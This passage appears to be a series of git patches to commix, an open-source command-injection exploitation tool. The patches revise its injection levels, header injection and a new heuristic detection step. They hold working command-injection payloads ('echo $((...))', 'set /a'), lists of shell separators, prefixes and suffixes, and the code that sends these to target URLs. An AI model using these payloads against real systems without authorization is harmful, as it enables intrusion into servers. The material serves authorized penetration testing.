b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -22,7 +22,7 @@ import threading from src.utils import menu from src.utils import logs -from src.utils import common +from src.utils import common as _common from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor @@ -182,9 +182,9 @@ def dns_exfiltration_handler(url, http_request_method): settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # You need to have administrative privileges to run this module. - if not common.running_as_admin(): + if not _common.running_as_admin(): err_msg = "You need to have administrative privileges to run this module." - print("\n" + settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) os._exit(0) # Check if defined POST data diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 5bf2ddbfda..0f7c26a942 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -24,7 +24,7 @@ import threading from src.utils import menu from src.utils import logs -from src.utils import common +from src.utils import common as _common from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor @@ -210,7 +210,7 @@ def icmp_exfiltration_handler(url, http_request_method): settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # You need to have administrative privileges to run this module. - if not common.running_as_admin(): + if not _common.running_as_admin(): err_msg = "You need to have administrative privileges to run this module." print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) From 3f884684c5b068284dfcede4b0df8baab813a9c5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Mar 2022 09:04:40 +0200 Subject: [PATCH 0081/1023] Minor update --- src/core/injections/controller/controller.py | 4 ++-- src/core/requests/parameters.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index afd2c47327..9a042abcfe 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -754,8 +754,8 @@ def do_check(url, http_request_method, filename): else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " and/or increase '--level' values to perform" - err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" + err_msg += " and/or increase '--level' value to perform" + err_msg += " more tests " if menu.options.skip_empty: err_msg += " and/or remove the option '--skip-empty'" err_msg += "." diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 89402a77fc..7c69c91310 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -49,7 +49,7 @@ def do_GET_check(url, http_request_method): else: err_msg = "No parameter(s) found for testing on the provided target URL. " err_msg += "You must specify the testable parameter(s) and/or " - err_msg += "try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)." + err_msg += "try to increase '--level' value to perform more tests." print(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.shellshock: diff --git a/src/utils/settings.py b/src/utils/settings.py index f2c2aaad8f..a83b5e94a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c8a32d81e37bc55369f5e23af4db26d169e1dd52 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 15 Mar 2022 07:46:29 +0200 Subject: [PATCH 0082/1023] Minor fixes --- src/core/injections/controller/controller.py | 33 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 18 insertions(+), 17 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9a042abcfe..b25e5e5460 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -659,6 +659,20 @@ def basic_level_checks(): if settings.PERFORM_BASIC_SCANS: basic_level_checks() + # Custom header Injection + if settings.CUSTOM_HEADER_INJECTION == True: + check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + settings.CUSTOM_HEADER_INJECTION = None + + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: + get_request(url, http_request_method, filename, timesec) + else: + post_request(url, http_request_method, filename, timesec) + if menu.options.level >= settings.COOKIE_INJECTION_LEVEL: # Enable Cookie Injection if menu.options.cookie: @@ -673,21 +687,8 @@ def basic_level_checks(): check_parameter = "" # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) - - # Custom header Injection - if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = None - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - get_request(url, http_request_method, filename, timesec) - else: - post_request(url, http_request_method, filename, timesec) - + else: + http_headers_injection(url, http_request_method, filename, timesec) if settings.INJECTION_CHECKER == False: return False @@ -755,7 +756,7 @@ def do_check(url, http_request_method, filename): err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " and/or increase '--level' value to perform" - err_msg += " more tests " + err_msg += " more tests" if menu.options.skip_empty: err_msg += " and/or remove the option '--skip-empty'" err_msg += "." diff --git a/src/utils/settings.py b/src/utils/settings.py index a83b5e94a7..470b7495e9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 69f2294b1ccd33c3b0fb6dc2ea8aef12388df920 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 16 Mar 2022 07:23:37 +0200 Subject: [PATCH 0083/1023] =?UTF-8?q?=CE=99mprovement=20regarding=20`--lev?= =?UTF-8?q?el`=20option,=20which=20not=20only=20adds=20more=20injection=20?= =?UTF-8?q?points=20(i.e=20Cookies,=20HTTP=20headers)=20but=20also=20perfo?= =?UTF-8?q?rms=20more=20tests=20for=20each=20injection=20point?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- doc/CHANGELOG.md | 1 + src/core/main.py | 20 +++++++++++++++++++- src/utils/settings.py | 36 +++++++++++++++++++++++++----------- 3 files changed, 45 insertions(+), 12 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8d84e79456..8bfe2c0623 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). ## Version 3.4 (2022-02-25) diff --git a/src/core/main.py b/src/core/main.py index 29eaed0932..e418684cff 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -830,7 +830,25 @@ def main(filename, url): settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] # Define the level of tests to perform. - if menu.options.level > 3: + if menu.options.level == 1: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) + elif menu.options.level == 2: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) + elif menu.options.level == 3: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) + else: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 470b7495e9..b62babca8b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -376,14 +376,24 @@ def sys_argv_errors(): # The HTTP header name. HTTP_HEADER = "" -# The command injection prefixes. -PREFIXES = ["", " ", "'", "\"", "&", "%26", "|", "%7C", "%27", "%22", "'%26"] - # The command injection separators. -SEPARATORS = ["", ";", "%3B", "&", "%26", "%1a", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", "%0a", "%0d%0a"] +SEPARATORS = [] +SPECIAL_SEPARATORS = ["%0a", "%0d%0a","%1a"] +DEFAULT_SEPARATORS = ["", ";", "&", "&&", "|", "||"] +SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS +SEPARATORS_LVL3 = SEPARATORS_LVL2 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS + [_urllib.parse.quote_plus(x).lower() for x in DEFAULT_SEPARATORS] + +# The command injection prefixes. +PREFIXES = [] +PREFIXES_LVL1 = [""] +PREFIXES_LVL2 = PREFIXES_LVL1 + [" ", "'", "\"", "&", "|", "'&"] +PREFIXES_LVL3 = PREFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in PREFIXES_LVL2] # The command injection suffixes. -SUFFIXES = ["", "'", "\"", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", " #", "//", "\\\\", "%26'", "%27", "%22", "%5C%5C", "%2F%2F"] +SUFFIXES = [] +SUFFIXES_LVL1 = [""] +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'", "\"", "&&", "|", "||", " #", "//", "\\\\", "&'"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in SUFFIXES_LVL1] # Bad combination of prefix and separator JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"] @@ -391,14 +401,18 @@ def sys_argv_errors(): # Execution functions EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] -# The code injection prefixes. -EVAL_PREFIXES = [".", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"] - # The code injection separators. -EVAL_SEPARATORS = ["", "%0a", "\\n", "%0d%0a", "\\r\\n"] +EVAL_SEPARATORS = ["", "%0a", "%0d%0a"] + +# The code injection prefixes. +EVAL_PREFIXES = [] +EVAL_PREFIXES_LVL1 = ["{${", "'.", ".", ")'}", "');}"] +EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. -EVAL_SUFFIXES = ["", "}}", ".\"", ".'", "", "\\\\", "//", "#", ")}"] +EVAL_SUFFIXES = [] +EVAL_SUFFIXES_LVL1 = ["}}", ".'", "'#", ""] +EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + [".\"", "\\\\", "//", ")}", "#"] # The default (url-ecoded) white-space. WHITESPACES = ["%20"] From aa8cdba853a22daebadfabf936c63d8c9a35a095 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 20 Mar 2022 18:23:18 +0200 Subject: [PATCH 0084/1023] Minor update regarding target operating system identification --- src/utils/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index b62babca8b..d4aa68fbbc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -758,7 +758,7 @@ def sys_argv_errors(): # Server banners list SERVER_OS_BANNERS = [ - r"(Microsoft|Windows|Win32)", + r"(Microsoft|Windows|Win[\w\.]+)", "Debian", "Ubuntu", "Fedora", From 589eb60fbe34486aec694d710545b39bc22ed069 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 21 Mar 2022 07:53:14 +0200 Subject: [PATCH 0085/1023] Added support for heuristic detection regarding command injections. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 70 ++++++++++++++++++-- src/utils/settings.py | 12 +++- 3 files changed, 77 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8bfe2c0623..152b38310a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: Support for heuristic detection regarding command injections. * Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b25e5e5460..0b02cab85b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -63,11 +63,69 @@ def check_for_stored_levels(url, http_request_method): menu.options.level = session_handler.applied_levels(url, http_request_method) if type(menu.options.level) is not int : menu.options.level = settings.DEFAULT_INJECTION_LEVEL - + + +""" +Basic heuristic checks for command injection +""" +def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name): + + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping (basic) heuristic detection." + print(settings.print_debug_msg(debug_msg)) + return url + else: + if not header_name == " cookie" and not the_type == " HTTP header": + header_name = " " + str(http_request_method) + settings.CLASSIC_STATE = True + try: + if not settings.IDENTIFIED_COMMAND_INJECTION: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Starting (basic) heuristic detection." + print(settings.print_debug_msg(debug_msg)) + _ = 0 + for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: + _ = _ + 1 + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + data = None + cookie = None + tmp_url = url + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + if settings.INJECT_TAG in url: + tmp_url = url.replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(tmp_url, data) + if cookie: + request.add_header(settings.COOKIE, cookie) + headers.do_check(request) + response = requests.get_request_response(request) + + if type(response) is not bool: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) + if match: + settings.IDENTIFIED_COMMAND_INJECTION = True + info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + print(settings.print_bold_info_msg(info_msg)) + break + + settings.CLASSIC_STATE = False + return url + + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Basic heuristic checks for code injection warnings """ -def heuristic_basic(url, http_request_method): +def code_injections_heuristic_basic(url, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" @@ -123,7 +181,7 @@ def heuristic_basic(url, http_request_method): settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic detection shows that target might be injectable via " + technique + "." + info_msg = "Heuristic (basic) detection shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -290,11 +348,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name) + if not settings.LOAD_SESSION: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings if not inject_http_headers: - url = heuristic_basic(url, http_request_method) + url = code_injections_heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: if not menu.options.batch: diff --git a/src/utils/settings.py b/src/utils/settings.py index d4aa68fbbc..88313f2eb8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -264,6 +264,16 @@ def sys_argv_errors(): INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' +#Basic heuristic checks for command injections +RAND_A = random.randint(1,10000) +RAND_B = random.randint(1,10000) +BASIC_STRING = str(RAND_A) + "+" + str(RAND_B) +BASIC_COMMAND_INJECTION_PAYLOADS = [_urllib.parse.quote_plus(";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))"), + _urllib.parse.quote_plus("|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")") + ] +BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) +IDENTIFIED_COMMAND_INJECTION = False + #Basic heuristic checks for code injection warnings or... phpinfo page ;) PHPINFO_PAYLOAD = "phpinfo()" From 4c8ed2a8017efd04b84d2f72f1290a2a614b07a0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 22 Mar 2022 07:34:50 +0200 Subject: [PATCH 0086/1023] Minor update --- src/core/requests/requests.py | 8 ++++---- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 7dba87375e..23d611d93a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1186,7 +1186,7 @@ def check_target_os(server_banner): print(settings.print_critical_msg(err_msg)) raise SystemExit() else: - identified_os = "Unix-like (" + settings.TARGET_OS + ")" + identified_os = "unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os @@ -1211,18 +1211,18 @@ def check_target_os(server_banner): if menu.options.batch: if not settings.CHECK_BOTH_OS: settings.CHECK_BOTH_OS = True - check_type = "unix-based" + check_type = "unix-like based" elif settings.CHECK_BOTH_OS: settings.TARGET_OS = "win" settings.CHECK_BOTH_OS = False settings.PERFORM_BASIC_SCANS = True - check_type = "windows-based" + check_type = "windows based" info_msg = "Setting the " + check_type + " payloads." print(settings.print_info_msg(info_msg)) else: while True: question_msg = "Do you recognise the server's operating system? " - question_msg += "[(W)indows/(U)nix/(q)uit] > " + question_msg += "[(W)indows/(U)nix-like/(q)uit] > " got_os = _input(settings.print_question_msg(question_msg)) if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": diff --git a/src/utils/settings.py b/src/utils/settings.py index 88313f2eb8..3dfa23737b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From d8963eb4aa30521f68a7fed53869ca1b63cfe666 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 23 Mar 2022 07:02:21 +0200 Subject: [PATCH 0087/1023] Minor fix --- .../injections/semiblind/techniques/file_based/fb_handler.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index fc485b4979..e07f2459ba 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -331,7 +331,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. - elif i == int(menu.options.failed_tries) and no_result == True : + + elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." diff --git a/src/utils/settings.py b/src/utils/settings.py index 3dfa23737b..e24dd88fac 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 121cc556e42c77eb8b3263635d4adc18e138b13d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 24 Mar 2022 07:30:14 +0200 Subject: [PATCH 0088/1023] Fixes https://github.com/commixproject/commix/issues/751 --- src/core/tamper/hexencode.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 35c4d85d2c..6346e9ec60 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -38,7 +38,7 @@ def tamper(payload): else: payload = _urllib.parse.unquote(payload) - payload = hexencode(payload) + payload = hexencode(payload).encode() payload = payload.decode(settings.DEFAULT_CODEC) return payload diff --git a/src/utils/settings.py b/src/utils/settings.py index e24dd88fac..88b44722a6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 5c16cac5d20ad340ac82b918034fa789d8fff2c0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 25 Mar 2022 09:22:45 +0200 Subject: [PATCH 0089/1023] Minor update --- src/core/injections/controller/controller.py | 10 +++++++--- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0b02cab85b..c0dd1ff41b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -114,14 +114,18 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break - + + if not settings.IDENTIFIED_COMMAND_INJECTION: + warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) + settings.CLASSIC_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() - + """ Basic heuristic checks for code injection warnings """ @@ -418,7 +422,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) - warn_msg += " seems to be not injectable." + warn_msg += " does not seem to be injectable." print(settings.print_bold_warning_msg(warn_msg)) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 88b44722a6..19b9b10b0d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From e46594b067a44c7af1d26956ed040e3414444932 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 26 Mar 2022 09:01:06 +0200 Subject: [PATCH 0090/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/589eb60fbe34486aec694d710545b39bc22ed069 --- src/core/injections/controller/controller.py | 27 ++++++++++++-------- src/utils/settings.py | 22 ++++++++-------- 2 files changed, 28 insertions(+), 21 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c0dd1ff41b..8cb4a79e83 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -68,8 +68,7 @@ def check_for_stored_levels(url, http_request_method): """ Basic heuristic checks for command injection """ -def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name): - +def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping (basic) heuristic detection." @@ -86,7 +85,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, print(settings.print_debug_msg(debug_msg)) _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: - _ = _ + 1 + if menu.options.prefix: + payload = menu.options.prefix + payload + if menu.options.suffix: + payload = payload + menu.options.suffix + _ = _ + 1 + if not inject_http_headers: + payload = _urllib.parse.quote_plus(payload) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -103,6 +108,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, request = _urllib.request.Request(tmp_url, data) if cookie: request.add_header(settings.COOKIE, cookie) + if inject_http_headers: + request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -352,7 +359,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if not settings.LOAD_SESSION: if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: @@ -441,8 +448,8 @@ def user_agent_injection(url, http_request_method, filename, timesec): check_parameter = header_name = " User-Agent" settings.HTTP_HEADER = header_name[1:].replace("-","").lower() check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.USER_AGENT_INJECTION = False + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.USER_AGENT_INJECTION = None menu.options.agent = user_agent def referer_injection(url, http_request_method, filename, timesec): @@ -454,8 +461,8 @@ def referer_injection(url, http_request_method, filename, timesec): check_parameter = header_name = " Referer" settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.REFERER_INJECTION = False + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.REFERER_INJECTION = False menu.options.agent = referer def host_injection(url, http_request_method, filename, timesec): @@ -466,8 +473,8 @@ def host_injection(url, http_request_method, filename, timesec): check_parameter = 